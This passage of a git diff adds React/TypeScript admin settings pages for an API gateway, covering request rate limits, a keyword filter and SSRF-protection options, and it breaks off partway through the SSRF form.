+function formatErrorMessage(error: unknown, jsonString: string): string {
+  if (!(error instanceof Error)) return 'Invalid JSON'
+
+  const position = extractErrorPosition(error, jsonString)
+  const message = error.message
+
+  // Check if it's a "missing comma" type error
+  const isMissingCommaError =
+    message.includes("Expected ','") ||
+    message.includes('Expected property name') ||
+    message.includes('Unexpected string')
+
+  if (position.line && position.column) {
+    let hint = ''
+    if (isMissingCommaError && position.line > 1) {
+      hint = ` (check line ${position.line - 1} for missing comma)`
+    }
+    return `Error at line ${position.line}, column ${position.column}: ${message}${hint}`
+  }
+
+  if (position.position !== undefined) {
+    return `Error at position ${position.position}: ${message}`
+  }
+
+  return message
+}
+
+export function validateJsonString(
+  value: string,
+  options: JsonValidationOptions = {}
+) {
+  const { allowEmpty = true, predicate, predicateMessage } = options
+  const trimmed = value.trim()
+
+  if (!trimmed) {
+    return {
+      valid: allowEmpty,
+      message: allowEmpty ? undefined : 'Value is required',
+    }
+  }
+
+  try {
+    const parsed = JSON.parse(trimmed)
+    if (predicate && !predicate(parsed)) {
+      return {
+        valid: false,
+        message: predicateMessage || 'JSON structure is invalid',
+      }
+    }
+
+    return { valid: true }
+  } catch (error: unknown) {
+    return {
+      valid: false,
+      message: formatErrorMessage(error, trimmed),
+    }
+  }
+}
diff --git a/new-api/web/default/src/features/system-settings/request-limits/index.tsx b/new-api/web/default/src/features/system-settings/request-limits/index.tsx
new file mode 100644
index 0000000..3786ea0
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/request-limits/index.tsx
@@ -0,0 +1,36 @@
+import { SettingsPage } from '../components/settings-page'
+import type { RequestLimitsSettings } from '../types'
+import {
+  REQUEST_LIMITS_DEFAULT_SECTION,
+  getRequestLimitsSectionContent,
+} from './section-registry.tsx'
+
+const defaultRequestLimitsSettings: RequestLimitsSettings = {
+  ModelRequestRateLimitEnabled: false,
+  ModelRequestRateLimitCount: 0,
+  ModelRequestRateLimitSuccessCount: 1000,
+  ModelRequestRateLimitDurationMinutes: 1,
+  ModelRequestRateLimitGroup: '',
+  CheckSensitiveEnabled: false,
+  CheckSensitiveOnPromptEnabled: false,
+  SensitiveWords: '',
+  'fetch_setting.enable_ssrf_protection': true,
+  'fetch_setting.allow_private_ip': false,
+  'fetch_setting.domain_filter_mode': false,
+  'fetch_setting.ip_filter_mode': false,
+  'fetch_setting.domain_list': [],
+  'fetch_setting.ip_list': [],
+  'fetch_setting.allowed_ports': [],
+  'fetch_setting.apply_ip_filter_for_domain': false,
+}
+
+export function RequestLimitsSettings() {
+  return (
+    <SettingsPage
+      routePath='/_authenticated/system-settings/request-limits/$section'
+      defaultSettings={defaultRequestLimitsSettings}
+      defaultSection={REQUEST_LIMITS_DEFAULT_SECTION}
+      getSectionContent={getRequestLimitsSectionContent}
+    />
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/request-limits/rate-limit-dialog.tsx b/new-api/web/default/src/features/system-settings/request-limits/rate-limit-dialog.tsx
new file mode 100644
index 0000000..484fb57
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/request-limits/rate-limit-dialog.tsx
@@ -0,0 +1,212 @@
+import { useEffect } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+
+const rateLimitDialogSchema = z.object({
+  groupName: z.string().min(1, 'Group name is required'),
+  maxRequests: z
+    .number()
+    .min(0, 'Must be ≥ 0')
+    .max(2147483647, 'Must be ≤ 2,147,483,647'),
+  maxSuccess: z
+    .number()
+    .min(1, 'Must be ≥ 1')
+    .max(2147483647, 'Must be ≤ 2,147,483,647'),
+})
+
+type RateLimitDialogFormValues = z.infer<typeof rateLimitDialogSchema>
+
+export type RateLimitEntryData = {
+  groupName: string
+  maxRequests: number
+  maxSuccess: number
+}
+
+type RateLimitDialogProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  onSave: (data: RateLimitEntryData) => void
+  editData?: RateLimitEntryData | null
+}
+
+export function RateLimitDialog({
+  open,
+  onOpenChange,
+  onSave,
+  editData,
+}: RateLimitDialogProps) {
+  const { t } = useTranslation()
+  const isEditMode = !!editData
+
+  const form = useForm<RateLimitDialogFormValues>({
+    resolver: zodResolver(rateLimitDialogSchema),
+    defaultValues: {
+      groupName: '',
+      maxRequests: 0,
+      maxSuccess: 1,
+    },
+  })
+
+  useEffect(() => {
+    if (editData) {
+      form.reset(editData)
+    } else {
+      form.reset({
+        groupName: '',
+        maxRequests: 0,
+        maxSuccess: 1,
+      })
+    }
+  }, [editData, form, open])
+
+  const handleSubmit = (values: RateLimitDialogFormValues) => {
+    onSave(values)
+    form.reset()
+    onOpenChange(false)
+  }
+
+  return (
+    <Dialog open={open} onOpenChange={onOpenChange}>
+      <DialogContent className='sm:max-w-[500px]'>
+        <DialogHeader>
+          <DialogTitle>
+            {isEditMode
+              ? t('Edit group rate limit')
+              : t('Add group rate limit')}
+          </DialogTitle>
+          <DialogDescription>
+            {t('Configure rate limiting rules for a specific user group.')}
+          </DialogDescription>
+        </DialogHeader>
+
+        <Form {...form}>
+          <form
+            onSubmit={form.handleSubmit(handleSubmit)}
+            className='space-y-4'
+          >
+            <FormField
+              control={form.control}
+              name='groupName'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Group Name')}</FormLabel>
+                  <FormControl>
+                    <Input
+                      placeholder={t('e.g., default, vip, premium')}
+                      {...field}
+                      disabled={isEditMode}
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {isEditMode
+                      ? t('Group name cannot be changed when editing.')
+                      : t('Unique identifier for this group.')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='maxRequests'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>
+                    {t('Max Requests (including failures)')}
+                  </FormLabel>
+                  <FormControl>
+                    <div className='flex items-center gap-2'>
+                      <Input
+                        type='number'
+                        min={0}
+                        max={2147483647}
+                        step={1}
+                        {...field}
+                        onChange={(e) =>
+                          field.onChange(parseInt(e.target.value) || 0)
+                        }
+                      />
+                      <span className='text-muted-foreground text-sm'>
+                        {t('times')}
+                      </span>
+                    </div>
+                  </FormControl>
+                  <FormDescription>
+                    {t('Total requests allowed per period. 0 = unlimited.')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='maxSuccess'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Max Successful Requests')}</FormLabel>
+                  <FormControl>
+                    <div className='flex items-center gap-2'>
+                      <Input
+                        type='number'
+                        min={1}
+                        max={2147483647}
+                        step={1}
+                        {...field}
+                        onChange={(e) =>
+                          field.onChange(parseInt(e.target.value) || 1)
+                        }
+                      />
+                      <span className='text-muted-foreground text-sm'>
+                        {t('times')}
+                      </span>
+                    </div>
+                  </FormControl>
+                  <FormDescription>
+                    {t('Only successful requests count toward this limit.')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <DialogFooter>
+              <Button
+                type='button'
+                variant='outline'
+                onClick={() => onOpenChange(false)}
+              >
+                {t('Cancel')}
+              </Button>
+              <Button type='submit'>
+                {isEditMode ? t('Update') : t('Add')}
+              </Button>
+            </DialogFooter>
+          </form>
+        </Form>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/request-limits/rate-limit-section.tsx b/new-api/web/default/src/features/system-settings/request-limits/rate-limit-section.tsx
new file mode 100644
index 0000000..1558641
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/request-limits/rate-limit-section.tsx
@@ -0,0 +1,299 @@
+import { useEffect, useState } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { Code2, Palette } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import { Switch } from '@/components/ui/switch'
+import { Textarea } from '@/components/ui/textarea'
+import { SettingsSection } from '../components/settings-section'
+import { useUpdateOption } from '../hooks/use-update-option'
+import { RateLimitVisualEditor } from './rate-limit-visual-editor'
+
+const isValidJSON = (value: string | undefined) => {
+  if (!value || value.trim() === '') return true
+  try {
+    const parsed = JSON.parse(value)
+    if (typeof parsed !== 'object' || Array.isArray(parsed)) {
+      return false
+    }
+    for (const [, val] of Object.entries(parsed)) {
+      if (!Array.isArray(val) || val.length !== 2) return false
+      if (typeof val[0] !== 'number' || typeof val[1] !== 'number') return false
+      if (val[0] < 0 || val[1] < 1) return false
+      if (val[0] > 2147483647 || val[1] > 2147483647) return false
+    }
+    return true
+  } catch {
+    return false
+  }
+}
+
+const createRateLimitSchema = (t: (key: string) => string) =>
+  z.object({
+    ModelRequestRateLimitEnabled: z.boolean(),
+    ModelRequestRateLimitDurationMinutes: z.number().min(0),
+    ModelRequestRateLimitCount: z.number().min(0).max(100000000),
+    ModelRequestRateLimitSuccessCount: z.number().min(1).max(100000000),
+    ModelRequestRateLimitGroup: z
+      .string()
+      .optional()
+      .refine(isValidJSON, {
+        message: t('Invalid JSON format or values out of allowed range'),
+      }),
+  })
+
+type RateLimitFormValues = z.infer<ReturnType<typeof createRateLimitSchema>>
+
+type RateLimitSectionProps = {
+  defaultValues: RateLimitFormValues
+}
+
+export function RateLimitSection({ defaultValues }: RateLimitSectionProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+  const [useVisualEditor, setUseVisualEditor] = useState(true)
+
+  const rateLimitSchema = createRateLimitSchema(t)
+
+  const form = useForm<RateLimitFormValues>({
+    resolver: zodResolver(rateLimitSchema),
+    mode: 'onChange', // Enable real-time validation
+    defaultValues,
+  })
+
+  useEffect(() => {
+    form.reset(defaultValues)
+  }, [defaultValues, form])
+
+  const onSubmit = async (values: RateLimitFormValues) => {
+    const updates = Object.entries(values).filter(
+      ([key, value]) =>
+        value !== defaultValues[key as keyof RateLimitFormValues]
+    )
+
+    for (const [key, value] of updates) {
+      await updateOption.mutateAsync({ key, value: value ?? '' })
+    }
+  }
+
+  return (
+    <SettingsSection
+      title={t('Rate Limiting')}
+      description={t(
+        'Control request frequency to prevent abuse and manage system load.'
+      )}
+    >
+      <Form {...form}>
+        <form onSubmit={form.handleSubmit(onSubmit)} className='space-y-6'>
+          <FormField
+            control={form.control}
+            name='ModelRequestRateLimitEnabled'
+            render={({ field }) => (
+              <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                <div className='space-y-0.5'>
+                  <FormLabel className='text-base'>
+                    {t('Enable rate limiting')}
+                  </FormLabel>
+                  <FormDescription>
+                    {t(
+                      'Restrict user model request frequency (may impact high concurrency performance)'
+                    )}
+                  </FormDescription>
+                </div>
+                <FormControl>
+                  <Switch
+                    checked={field.value}
+                    onCheckedChange={field.onChange}
+                  />
+                </FormControl>
+              </FormItem>
+            )}
+          />
+
+          <div className='grid gap-4 md:grid-cols-3'>
+            <FormField
+              control={form.control}
+              name='ModelRequestRateLimitDurationMinutes'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Limit period')}</FormLabel>
+                  <FormControl>
+                    <div className='flex items-center gap-2'>
+                      <Input
+                        type='number'
+                        min={0}
+                        step={1}
+                        {...field}
+                        onChange={(e) =>
+                          field.onChange(parseInt(e.target.value) || 0)
+                        }
+                      />
+                      <span className='text-muted-foreground text-sm'>
+                        {t('minutes')}
+                      </span>
+                    </div>
+                  </FormControl>
+                  <FormDescription>
+                    {t('Time window for rate limiting')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='ModelRequestRateLimitCount'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Max requests per period')}</FormLabel>
+                  <FormControl>
+                    <div className='flex items-center gap-2'>
+                      <Input
+                        type='number'
+                        min={0}
+                        max={100000000}
+                        step={1}
+                        {...field}
+                        onChange={(e) =>
+                          field.onChange(parseInt(e.target.value) || 0)
+                        }
+                      />
+                      <span className='text-muted-foreground text-sm'>
+                        {t('times')}
+                      </span>
+                    </div>
+                  </FormControl>
+                  <FormDescription>
+                    {t('Including failed requests, 0 = unlimited')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='ModelRequestRateLimitSuccessCount'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Max successful requests')}</FormLabel>
+                  <FormControl>
+                    <div className='flex items-center gap-2'>
+                      <Input
+                        type='number'
+                        min={1}
+                        max={100000000}
+                        step={1}
+                        {...field}
+                        onChange={(e) =>
+                          field.onChange(parseInt(e.target.value) || 1)
+                        }
+                      />
+                      <span className='text-muted-foreground text-sm'>
+                        {t('times')}
+                      </span>
+                    </div>
+                  </FormControl>
+                  <FormDescription>
+                    {t('Only successful requests')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+          </div>
+
+          <FormField
+            control={form.control}
+            name='ModelRequestRateLimitGroup'
+            render={({ field }) => (
+              <FormItem>
+                <div className='flex items-center justify-between'>
+                  <FormLabel>{t('Group-based rate limits')}</FormLabel>
+                  <Button
+                    type='button'
+                    variant='outline'
+                    size='sm'
+                    onClick={() => setUseVisualEditor(!useVisualEditor)}
+                  >
+                    {useVisualEditor ? (
+                      <>
+                        <Code2 className='mr-2 h-4 w-4' />
+                        {t('JSON Mode')}
+                      </>
+                    ) : (
+                      <>
+                        <Palette className='mr-2 h-4 w-4' />
+                        {t('Visual Mode')}
+                      </>
+                    )}
+                  </Button>
+                </div>
+                <FormControl>
+                  {useVisualEditor ? (
+                    <RateLimitVisualEditor
+                      value={field.value || ''}
+                      onChange={field.onChange}
+                    />
+                  ) : (
+                    <Textarea
+                      rows={8}
+                      placeholder={`{\n  "default": [200, 100],\n  "vip": [0, 1000]\n}`}
+                      className='font-mono text-sm'
+                      {...field}
+                    />
+                  )}
+                </FormControl>
+                {!useVisualEditor && (
+                  <FormDescription>
+                    <div className='space-y-1 text-xs'>
+                      <p className='font-semibold'>{t('Format:')}</p>
+                      <ul className='list-inside list-disc space-y-0.5 pl-2'>
+                        <li>
+                          {t('JSON object:')}{' '}
+                          {`{"groupName": [maxRequests, maxSuccess]}`}
+                        </li>
+                        <li>
+                          {t('Example:')}{' '}
+                          {`{"default": [200, 100], "vip": [0, 1000]}`}
+                        </li>
+                        <li>
+                          {t(
+                            'maxRequests ≥ 0, maxSuccess ≥ 1, both ≤ 2,147,483,647'
+                          )}
+                        </li>
+                        <li>
+                          {t(
+                            'Group config overrides global limits, shares the same period'
+                          )}
+                        </li>
+                      </ul>
+                    </div>
+                  </FormDescription>
+                )}
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <Button type='submit' disabled={updateOption.isPending}>
+            {updateOption.isPending ? t('Saving...') : t('Save rate limits')}
+          </Button>
+        </form>
+      </Form>
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/request-limits/rate-limit-visual-editor.tsx b/new-api/web/default/src/features/system-settings/request-limits/rate-limit-visual-editor.tsx
new file mode 100644
index 0000000..96b76aa
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/request-limits/rate-limit-visual-editor.tsx
@@ -0,0 +1,199 @@
+import { useState, useMemo } from 'react'
+import { Pencil, Plus, Search, Trash2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import { Input } from '@/components/ui/input'
+import {
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
+} from '@/components/ui/table'
+import { safeJsonParseWithValidation } from '../utils/json-parser'
+import { isObjectRecord } from '../utils/json-validators'
+import { RateLimitDialog, type RateLimitEntryData } from './rate-limit-dialog'
+
+type RateLimitVisualEditorProps = {
+  value: string
+  onChange: (value: string) => void
+}
+
+type RateLimitEntry = RateLimitEntryData
+
+export function RateLimitVisualEditor({
+  value,
+  onChange,
+}: RateLimitVisualEditorProps) {
+  const { t } = useTranslation()
+  const [searchText, setSearchText] = useState('')
+  const [dialogOpen, setDialogOpen] = useState(false)
+  const [editData, setEditData] = useState<RateLimitEntry | null>(null)
+
+  const rateLimits = useMemo(() => {
+    if (!value || value.trim() === '') return []
+
+    const parsed = safeJsonParseWithValidation<Record<string, unknown>>(value, {
+      fallback: {},
+      validator: isObjectRecord,
+      validatorMessage: 'Rate limits must be a JSON object',
+      context: 'rate limits',
+    })
+
+    return Object.entries(parsed)
+      .map(([groupName, limits]) => {
+        if (
+          Array.isArray(limits) &&
+          limits.length === 2 &&
+          typeof limits[0] === 'number' &&
+          typeof limits[1] === 'number'
+        ) {
+          return {
+            groupName,
+            maxRequests: limits[0],
+            maxSuccess: limits[1],
+          }
+        }
+        return null
+      })
+      .filter((item): item is RateLimitEntry => item !== null)
+  }, [value])
+
+  const filteredRateLimits = useMemo(() => {
+    if (!searchText) return rateLimits
+    const lowerSearch = searchText.toLowerCase()
+    return rateLimits.filter((limit) =>
+      limit.groupName.toLowerCase().includes(lowerSearch)
+    )
+  }, [rateLimits, searchText])
+
+  const handleSave = (data: RateLimitEntryData) => {
+    const parsed = safeJsonParseWithValidation<Record<string, unknown>>(value, {
+      fallback: {},
+      validator: isObjectRecord,
+      silent: true,
+    })
+
+    if (editData && editData.groupName !== data.groupName) {
+      delete parsed[editData.groupName]
+    }
+
+    parsed[data.groupName] = [data.maxRequests, data.maxSuccess]
+
+    onChange(JSON.stringify(parsed, null, 2))
+  }
+
+  const handleDelete = (groupName: string) => {
+    const parsed = safeJsonParseWithValidation<Record<string, unknown>>(value, {
+      fallback: {},
+      validator: isObjectRecord,
+      silent: true,
+    })
+
+    delete parsed[groupName]
+
+    onChange(JSON.stringify(parsed, null, 2))
+  }
+
+  const handleEdit = (limit: RateLimitEntry) => {
+    setEditData(limit)
+    setDialogOpen(true)
+  }
+
+  const handleAdd = () => {
+    setEditData(null)
+    setDialogOpen(true)
+  }
+
+  return (
+    <div className='space-y-4'>
+      <div className='flex items-center gap-4'>
+        <div className='relative flex-1'>
+          <Search className='text-muted-foreground absolute top-2.5 left-2.5 h-4 w-4' />
+          <Input
+            placeholder={t('Search group names...')}
+            value={searchText}
+            onChange={(e) => setSearchText(e.target.value)}
+            className='pl-9'
+          />
+        </div>
+        <Button onClick={handleAdd}>
+          <Plus className='mr-2 h-4 w-4' />
+          {t('Add group')}
+        </Button>
+      </div>
+
+      {filteredRateLimits.length === 0 ? (
+        <div className='text-muted-foreground rounded-lg border border-dashed p-8 text-center'>
+          {searchText
+            ? t('No groups match your search')
+            : t(
+                'No group-based rate limits configured. Click "Add group" to get started.'
+              )}
+        </div>
+      ) : (
+        <div className='rounded-md border'>
+          <Table>
+            <TableHeader>
+              <TableRow>
+                <TableHead>{t('Group Name')}</TableHead>
+                <TableHead className='text-right'>
+                  {t('Max Requests (incl. failures)')}
+                </TableHead>
+                <TableHead className='text-right'>{t('Max Success')}</TableHead>
+                <TableHead className='text-right'>{t('Actions')}</TableHead>
+              </TableRow>
+            </TableHeader>
+            <TableBody>
+              {filteredRateLimits.map((limit) => (
+                <TableRow key={limit.groupName}>
+                  <TableCell className='font-medium'>
+                    {limit.groupName}
+                  </TableCell>
+                  <TableCell className='text-right'>
+                    <span className='font-mono'>
+                      {limit.maxRequests === 0
+                        ? t('Unlimited')
+                        : limit.maxRequests.toLocaleString()}
+                    </span>
+                  </TableCell>
+                  <TableCell className='text-right'>
+                    <span className='font-mono'>
+                      {limit.maxSuccess.toLocaleString()}
+                    </span>
+                  </TableCell>
+                  <TableCell className='text-right'>
+                    <div className='flex justify-end gap-2'>
+                      <Button
+                        variant='ghost'
+                        size='sm'
+                        onClick={() => handleEdit(limit)}
+                      >
+                        <Pencil className='h-4 w-4' />
+                      </Button>
+                      <Button
+                        variant='ghost'
+                        size='sm'
+                        onClick={() => handleDelete(limit.groupName)}
+                      >
+                        <Trash2 className='h-4 w-4' />
+                      </Button>
+                    </div>
+                  </TableCell>
+                </TableRow>
+              ))}
+            </TableBody>
+          </Table>
+        </div>
+      )}
+
+      <RateLimitDialog
+        open={dialogOpen}
+        onOpenChange={setDialogOpen}
+        onSave={handleSave}
+        editData={editData}
+      />
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/request-limits/section-registry.tsx b/new-api/web/default/src/features/system-settings/request-limits/section-registry.tsx
new file mode 100644
index 0000000..e4fe515
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/request-limits/section-registry.tsx
@@ -0,0 +1,86 @@
+import type { RequestLimitsSettings } from '../types'
+import { createSectionRegistry } from '../utils/section-registry'
+import { RateLimitSection } from './rate-limit-section'
+import { SensitiveWordsSection } from './sensitive-words-section'
+import { SSRFSection } from './ssrf-section'
+
+const REQUEST_LIMITS_SECTIONS = [
+  {
+    id: 'rate-limit',
+    titleKey: 'Rate Limiting',
+    descriptionKey: 'Configure model request rate limiting',
+    build: (settings: RequestLimitsSettings) => (
+      <RateLimitSection
+        defaultValues={{
+          ModelRequestRateLimitEnabled: settings.ModelRequestRateLimitEnabled,
+          ModelRequestRateLimitCount: settings.ModelRequestRateLimitCount,
+          ModelRequestRateLimitSuccessCount:
+            settings.ModelRequestRateLimitSuccessCount,
+          ModelRequestRateLimitDurationMinutes:
+            settings.ModelRequestRateLimitDurationMinutes,
+          ModelRequestRateLimitGroup: settings.ModelRequestRateLimitGroup,
+        }}
+      />
+    ),
+  },
+  {
+    id: 'sensitive-words',
+    titleKey: 'Sensitive Words',
+    descriptionKey: 'Configure sensitive word filtering',
+    build: (settings: RequestLimitsSettings) => (
+      <SensitiveWordsSection
+        defaultValues={{
+          CheckSensitiveEnabled: settings.CheckSensitiveEnabled,
+          CheckSensitiveOnPromptEnabled: settings.CheckSensitiveOnPromptEnabled,
+          SensitiveWords: settings.SensitiveWords,
+        }}
+      />
+    ),
+  },
+  {
+    id: 'ssrf',
+    titleKey: 'SSRF Protection',
+    descriptionKey: 'Configure SSRF (Server-Side Request Forgery) protection',
+    build: (settings: RequestLimitsSettings) => (
+      <SSRFSection
+        defaultValues={{
+          'fetch_setting.enable_ssrf_protection':
+            settings['fetch_setting.enable_ssrf_protection'],
+          'fetch_setting.allow_private_ip':
+            settings['fetch_setting.allow_private_ip'],
+          'fetch_setting.domain_filter_mode':
+            settings['fetch_setting.domain_filter_mode'],
+          'fetch_setting.ip_filter_mode':
+            settings['fetch_setting.ip_filter_mode'],
+          'fetch_setting.domain_list': settings['fetch_setting.domain_list'],
+          'fetch_setting.ip_list': settings['fetch_setting.ip_list'],
+          'fetch_setting.allowed_ports':
+            settings['fetch_setting.allowed_ports'],
+          'fetch_setting.apply_ip_filter_for_domain':
+            settings['fetch_setting.apply_ip_filter_for_domain'],
+        }}
+      />
+    ),
+  },
+] as const
+
+export type RequestLimitsSectionId =
+  (typeof REQUEST_LIMITS_SECTIONS)[number]['id']
+
+const requestLimitsRegistry = createSectionRegistry<
+  RequestLimitsSectionId,
+  RequestLimitsSettings
+>({
+  sections: REQUEST_LIMITS_SECTIONS,
+  defaultSection: 'rate-limit',
+  basePath: '/system-settings/request-limits',
+  urlStyle: 'path',
+})
+
+export const REQUEST_LIMITS_SECTION_IDS = requestLimitsRegistry.sectionIds
+export const REQUEST_LIMITS_DEFAULT_SECTION =
+  requestLimitsRegistry.defaultSection
+export const getRequestLimitsSectionNavItems =
+  requestLimitsRegistry.getSectionNavItems
+export const getRequestLimitsSectionContent =
+  requestLimitsRegistry.getSectionContent
diff --git a/new-api/web/default/src/features/system-settings/request-limits/sensitive-words-section.tsx b/new-api/web/default/src/features/system-settings/request-limits/sensitive-words-section.tsx
new file mode 100644
index 0000000..f2e34c3
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/request-limits/sensitive-words-section.tsx
@@ -0,0 +1,149 @@
+import { useEffect } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Switch } from '@/components/ui/switch'
+import { Textarea } from '@/components/ui/textarea'
+import { SettingsSection } from '../components/settings-section'
+import { useUpdateOption } from '../hooks/use-update-option'
+
+const sensitiveSchema = z.object({
+  CheckSensitiveEnabled: z.boolean(),
+  CheckSensitiveOnPromptEnabled: z.boolean(),
+  SensitiveWords: z.string().optional(),
+})
+
+type SensitiveFormValues = z.infer<typeof sensitiveSchema>
+
+type SensitiveWordsSectionProps = {
+  defaultValues: SensitiveFormValues
+}
+
+export function SensitiveWordsSection({
+  defaultValues,
+}: SensitiveWordsSectionProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+  const form = useForm<SensitiveFormValues>({
+    resolver: zodResolver(sensitiveSchema),
+    defaultValues,
+  })
+
+  useEffect(() => {
+    form.reset(defaultValues)
+  }, [defaultValues, form])
+
+  const onSubmit = async (values: SensitiveFormValues) => {
+    const updates = Object.entries(values).filter(
+      ([key, value]) =>
+        value !== defaultValues[key as keyof SensitiveFormValues]
+    )
+
+    for (const [key, value] of updates) {
+      await updateOption.mutateAsync({ key, value: value ?? '' })
+    }
+  }
+
+  return (
+    <SettingsSection
+      title={t('Sensitive Words')}
+      description={t('Configure keyword filtering for prompts and responses.')}
+    >
+      <Form {...form}>
+        <form onSubmit={form.handleSubmit(onSubmit)} className='space-y-6'>
+          <div className='space-y-4'>
+            <FormField
+              control={form.control}
+              name='CheckSensitiveEnabled'
+              render={({ field }) => (
+                <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                  <div className='space-y-0.5'>
+                    <FormLabel className='text-base'>
+                      {t('Enable filtering')}
+                    </FormLabel>
+                    <FormDescription>
+                      {t(
+                        'Blocks messages when sensitive keywords are detected.'
+                      )}
+                    </FormDescription>
+                  </div>
+                  <FormControl>
+                    <Switch
+                      checked={field.value}
+                      onCheckedChange={field.onChange}
+                    />
+                  </FormControl>
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='CheckSensitiveOnPromptEnabled'
+              render={({ field }) => (
+                <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                  <div className='space-y-0.5'>
+                    <FormLabel className='text-base'>
+                      {t('Inspect user prompts')}
+                    </FormLabel>
+                    <FormDescription>
+                      {t(
+                        'When enabled, prompts are scanned before reaching upstream models.'
+                      )}
+                    </FormDescription>
+                  </div>
+                  <FormControl>
+                    <Switch
+                      checked={field.value}
+                      onCheckedChange={field.onChange}
+                    />
+                  </FormControl>
+                </FormItem>
+              )}
+            />
+          </div>
+
+          <FormField
+            control={form.control}
+            name='SensitiveWords'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('Blocked keywords')}</FormLabel>
+                <FormControl>
+                  <Textarea
+                    rows={12}
+                    placeholder={t('Enter one keyword per line')}
+                    {...field}
+                  />
+                </FormControl>
+                <FormDescription>
+                  {t(
+                    'Each line represents one keyword. Leave blank to disable the list but keep the switch states.'
+                  )}
+                </FormDescription>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <Button type='submit' disabled={updateOption.isPending}>
+            {updateOption.isPending
+              ? t('Saving...')
+              : t('Save sensitive words')}
+          </Button>
+        </form>
+      </Form>
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/request-limits/ssrf-section.tsx b/new-api/web/default/src/features/system-settings/request-limits/ssrf-section.tsx
new file mode 100644
index 0000000..d7aa370
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/request-limits/ssrf-section.tsx
@@ -0,0 +1,396 @@
+import { useEffect, useMemo, useRef } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from '@/components/ui/select'
+import { Switch } from '@/components/ui/switch'
+import { Textarea } from '@/components/ui/textarea'
+import { SettingsSection } from '../components/settings-section'
+import { useUpdateOption } from '../hooks/use-update-option'
+
+const ssrfSchema = z.object({
+  fetch_setting: z.object({
+    enable_ssrf_protection: z.boolean(),
+    allow_private_ip: z.boolean(),
+    domain_filter_mode: z.boolean(),
+    ip_filter_mode: z.boolean(),
+    domain_list: z.string(),
+    ip_list: z.string(),
+    allowed_ports: z.string(),
+    apply_ip_filter_for_domain: z.boolean(),
+  }),
+})
+
+type SSRFFormValues = z.output<typeof ssrfSchema>
+type SSRFFormInput = z.input<typeof ssrfSchema>
+
+type NormalizedSSRFValues = {
+  'fetch_setting.enable_ssrf_protection': boolean
+  'fetch_setting.allow_private_ip': boolean
+  'fetch_setting.domain_filter_mode': boolean
